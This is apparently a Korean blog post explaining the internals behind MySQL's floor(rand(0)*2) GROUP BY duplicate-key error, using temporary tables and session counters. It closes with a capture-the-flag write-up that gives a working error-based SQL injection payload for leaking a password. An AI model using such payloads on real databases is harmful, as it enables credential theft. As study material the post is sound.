임시테이블이 사용되는 예시는 위 링크를 참조하시면 상세하게 나와있습니다만
위 링크에 나와있는 항목이 전부는 아니며 다른 대체할 수단이 없는 경우에는 임시테이블을 사용합니다.
예를 들면 group by 와 함께 집계함수를 사용할 경우!
임시 테이블이 사용 됩니다.
어떤 쿼리에서 임시 테이블이 사용되는지를 알아보는 방법은 다음과 같습니다.
mysql> desc animal;
+-------+-------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+-------------+------+-----+---------+-------+| name | varchar(20) | YES || NULL ||| no |int(11) | YES || NULL |||type| varchar(20) | YES || NULL ||+-------+-------------+------+-----+---------+-------+
mysql> select *from animal;
+-----------+------+------+| name | no |type|+-----------+------+------+| 콩이 |1| dog || 나비 |2| cat || 초코 |3| dog || 코코 |4| dog || 루루 |5| cat |+-----------+------+------+5 rows in set (0.00 sec)
위와 같이 테이블이 구성되어 있을 때
mysql> select type, count(* ) from animal group by type;
+------+----------+|type| count(* )|+------+----------+| cat |2|| dog |3|+------+----------+2 rows in set (0.00 sec)
mysql> explain select type, count(* ) from animal group by type;
+----+-------------+--------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+| id | select_type | table | partitions |type| possible_keys | key | key_len | ref | rows | filtered | Extra |+----+-------------+--------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+|1| SIMPLE | animal | NULL | ALL | NULL | NULL | NULL | NULL |5|100.00| Using temporary; Using filesort |+----+-------------+--------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+1 row in set, 1 warning (0.00 sec)
위와 같이 explain 키워드는 select 문 앞에 붙여서 쿼리의 실행 정보를 표시하도록 할 수 있습니다.
이 때 Extra 칼럼을 보게 되면 Using temporary; Using filesort 라고 되어 있는데
Using temporary 가 바로 정렬 과정에서 임시 테이블을 사용하였다는 것을 의미합니다.
(2) 에러의 발생 원인
mysql> select floor(rand(0)*2)x, count(*) from (select 1 union select 2 union select 3)t group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
위의 쿼리는 group by 를 사용한 동시에 집계 함수를 사용했기 때문에 임시 테이블을 사용할 것으로 예상할 수 있습니다.
explain 문을 통해 해당 사실을 눈으로 확인해봅니다.
mysql> explain select floor(rand(0) *2)x, count(* ) from (select 1 union select 2 union select 3)t group by x;
+----+--------------+--------------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+| id | select_type | table | partitions |type| possible_keys | key | key_len | ref | rows | filtered | Extra |+----+--------------+--------------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+|1| PRIMARY |<derived2>| NULL | ALL | NULL | NULL | NULL | NULL |3|100.00| Using temporary; Using filesort ||2| DERIVED | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used ||3| UNION | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used ||4| UNION | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used || NULL | UNION RESULT |<union2,3,4>| NULL | ALL | NULL | NULL | NULL | NULL | NULL | NULL | Using temporary |+----+--------------+--------------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+5 rows in set, 1 warning (0.00 sec)
그렇다면 왜 에러가 발생하는지
임시 테이블에서 데이터가 처리 되는 과정을 단계 별로 알아보겠습니다.
먼저 설명의 편의를 위해
floor(rand(0)*2) 의 결과를 충분히 뽑아줍니다.
mysql> select floor(rand(0)*2) from (select 1 union select 2 union select 3 union select 4 union select 5 union select 6)t;
+------------------+| floor(rand(0)*2) |+------------------+|0||1||1||0||1||1|+------------------+6 rows in set (0.00 sec)
위 결과를 0 - 1 - 1 - 0 - 1 - 1 와 같이 간략하게 표기하겠습니다.
select floor(rand(0)*2)x, count(* ) from (select 1 union select 2 union select 3)t group by x;
위 쿼리에서 derived table 은 (select 1 union select 2 union select 3) 로 row 가 3개 입니다.
이 쿼리를 처리하는 과정에서 임시 테이블이 생성되고
이후 각각의 row 에 대응되는 floor(rand(0)*2) 의 값을 뽑아 임시 테이블의 프라이머리 키 (group_key) 로 사용합니다.
먼저 첫번째 row 에 대응하는 floor(rand(0)*2)x 의 값을 한 번 평가 (evaluate) 합니다.
0 - 1 - 1 - 0 - 1 - 1
첫 번째 평가 값은 0 입니다.
0 은 임시 테이블에 존재하지 않기 때문에 insert 해주어야 합니다.
그런데 이 과정에는 개발자의 실수가 존재합니다.
처음 뽑았던 평가값을 그대로 사용해야 하는데
floor(rand(0)*2)x 를 한 번 더 평가한 뒤 insert 가 이루어지는 것 입니다.
0 - 1 - 1 - 0 - 1 - 1
그에 따라 실제로 테이블에 insert 되는 값은 1 입니다.
마지막으로 세번째 row 에 대한 처리를 위해 floor(rand(0)*2) 를 평가합니다.
0 - 1 - 1 - 0 - 1 - 1
평가 값은 0 이고 0 은 테이블에 존재하지 않기 때문에 insert 를 시도 합니다.
0 - 1 - 1 - 0 - 1 - 1
이 때 이전에 언급한 이유로 한번 더 평가가 이루어져 실제 insert 되는 값은 1 입니다.
그런데 1 은 이미 테이블에 존재하고, group_key 는 프라이머리 키이기 때문에
Duplicate entry 에러를 발생시킵니다.
예시를 한가지만 더 들어보겠습니다.
이번에는 rand 의 seed 를 2 로 준 상황으로 정상적인 결과가 출력됩니다.
mysql> select floor(rand(2)*2)x, count(*) from (select 1 union select 2 union select 3)t group by x;
+---+----------+| x | count(*) |+---+----------+|0|2||1|1|+---+----------+
위 select 문이 에러를 출력하지 않는 이유를 알아보겠습니다.
mysql> select floor(rand(2)*2) from (select 1 union select 2 union select 3 union select 4 union select 5 union select 6)t;
+------------------+| floor(rand(2)*2) |+------------------+|1||0||1||1||0||0|+------------------+
첫번째 row 에 대응하는 floor(rand(2)*2) 의 평가값으로 1 이 산출되어 insert 를 시도합니다.
그 과정에서 0 이 insert 됩니다.
레퍼런스에도 나와있듯이 mysql 은 칼럼의 자료형이 Blob, Text 이거나
512 바이트를 넘어가는 경우 (e.g. varchar(1024))
MEMORY storage 엔진을 기반으로 한 in-memory 임시테이블을 사용 하는 것을 포기하고
MyISAM storage 엔진 기반의 on-disk 임시테이블을 사용하여 파일 시스템에 임시 테이블을 저장합니다.
mysql> desc test;
+-------+---------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+---------------+------+-----+---------+-------+| id | varchar(1000) | YES || NULL ||| pw | varchar(1000) | YES || NULL ||+-------+---------------+------+-----+---------+-------+2 rows in set (0.00 sec)
예를 들어 위와 같은 구조의 테이블에 대해
mysql>select concat(floor(rand(0)*2),(select pw from test limit 1))x from (select1unionselect2unionselect3)t groupby x havingmin(0);
Emptyset (0.00 sec)
쿼리는 에러를 발생시키지 않습니다.
해당 쿼리의 앞 뒤로
임시 테이블의 전체 생성 수인 Created_tmp_tables 와
on-disk 임시 테이블의 생성된 개수인 Created_tmp_disk_tables 변수의 값을 비교해보면
Created_tmp_tables 는 3 이 증가하는 한편, Created_tmp_disk_tables 는 1 이 증가한다는 사실을 알 수 있습니다.
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+| Variable_name | Value |+-------------------------+-------+| Created_tmp_disk_tables |6|| Created_tmp_files |6|| Created_tmp_tables |49|+-------------------------+-------+3 rows in set (0.08 sec)
mysql> select concat(floor(rand(0)*2),(select pw from test limit 1))x from (select 1 union select 2 union select 3)t group by x having min(0);
Empty set (0.00 sec)
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+| Variable_name | Value |+-------------------------+-------+| Created_tmp_disk_tables |7|| Created_tmp_files |6|| Created_tmp_tables |52|+-------------------------+-------+3 rows in set (0.00 sec)
반면 아래 구조의 테이블에서는 에러가 발생합니다.
mysql> desc user;
+-------+-------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+-------------+------+-----+---------+-------+| id | varchar(20) | YES || NULL ||| pw | varchar(20) | YES || NULL ||+-------+-------------+------+-----+---------+-------+2 rows in set (0.00 sec)
mysql>select concat(floor(rand(0)*2),(select pw fromuser limit 1))x from (select1unionselect2unionselect3)t groupby x havingmin(0);
ERROR 1062 (23000): Duplicate entry '1hi'for key '<group_key>'
이전에서 처럼 임시 테이블의 생성 수는 3 이 올라가지만
on-disk 임시 테이블의 생성 수는 올라가지 않는 것을 볼 수 있습니다.
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+| Variable_name | Value |+-------------------------+-------+| Created_tmp_disk_tables |7|| Created_tmp_files |6|| Created_tmp_tables |52|+-------------------------+-------+3 rows in set (0.00 sec)
mysql> select concat(floor(rand(0)*2),(select pw from user limit 1))x from (select 1 union select 2 union select 3)t group by x having min(0);
ERROR 1062 (23000): Duplicate entry '1hi'for key '<group_key>'
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+| Variable_name | Value |+-------------------------+-------+| Created_tmp_disk_tables |7|| Created_tmp_files |6|| Created_tmp_tables |55|+-------------------------+-------+3 rows in set (0.00 sec)
정확한 이유까지는 분석을 하지 않아 알 수 없지만
사용하는 엔진이 다른 것과 연관이 있는 것으로 추정되어
on-disk 임시테이블의 경우는 group_key 의 중복에러가 발생하지 않는 다는 사실을 알 수 있습니다.
이대로 글을 끝맺기엔 아쉬워서
마지막으로 한 가지만 더 예시를 들어보겠습니다.
los (los.rubiya.kr) 의 iron golem 문제는 에러 기반 인젝션 문제이지만
에러가 생각보다 쉽게 발생하지 않아
검색을 해보면 많은 분들이 에러 기반 블라인드로 풀이를 하셨습니다.
이 문제에서는 union 절 이전에서 @pw:=pw 와 같이 패스워드를 다른 변수에 저장한 뒤
union 절 이후에서 에러 기반 블라인드로 값을 얻어주어야 하는 문제인데
이상하게도 floor rand 방법을 사용할 경우 에러가 발생하지 않습니다.
그 이유는 아래 일련의 과정에서 보이듯
mysql 의 사용자 정의 변수가 longtext data type 을 가지기 때문입니다.
mysql> select @pw:=pw from user;
+-----------------+| @pw:=pw |+-----------------+| hi || ffffffffffasdjf |+-----------------+2 rows in set (0.01 sec)
mysql> select @pw;
+-----------------+| @pw |+-----------------+| ffffffffffasdjf |+-----------------+1 row in set (0.00 sec)
mysql> create temporary table bar select @pw;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> desc bar
-> ;
+-------+----------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+----------+------+-----+---------+-------+| @pw | longtext | YES || NULL ||+-------+----------+------+-----+---------+-------+1 row in set (0.00 sec)
이 때에는 아래와 같이 @pw 의 형을 char(35) 로 convert 해준다면
pw=' or id='admin' and @pw:=pw union select concat(floor(rand(0)*2),convert(@pw,char(35)))x from (select 1 union select 2 union select 3)t group by x having min(0)--
정상적으로 오류가 출력된다는 사실을 알 수 있습니다.
또한 굳이 convert 를 하지 않아도 mid 를 통해 이 문제를 해결 가능합니다.
mysql> create temporary table foo select mid("helloworld",1,7);
Query OK, 1 row affected (0.00 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> desc foo;
+-----------------------+------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-----------------------+------------+------+-----+---------+-------+| mid("helloworld",1,7) | varchar(7) | YES || NULL ||+-----------------------+------------+------+-----+---------+-------+1 row in set (0.00 sec)
mid(문자열, n, m) 의 결과의 datatype 은 varchar(m 보다 작거나 같은 어떤 정수) 이기 때문입니다.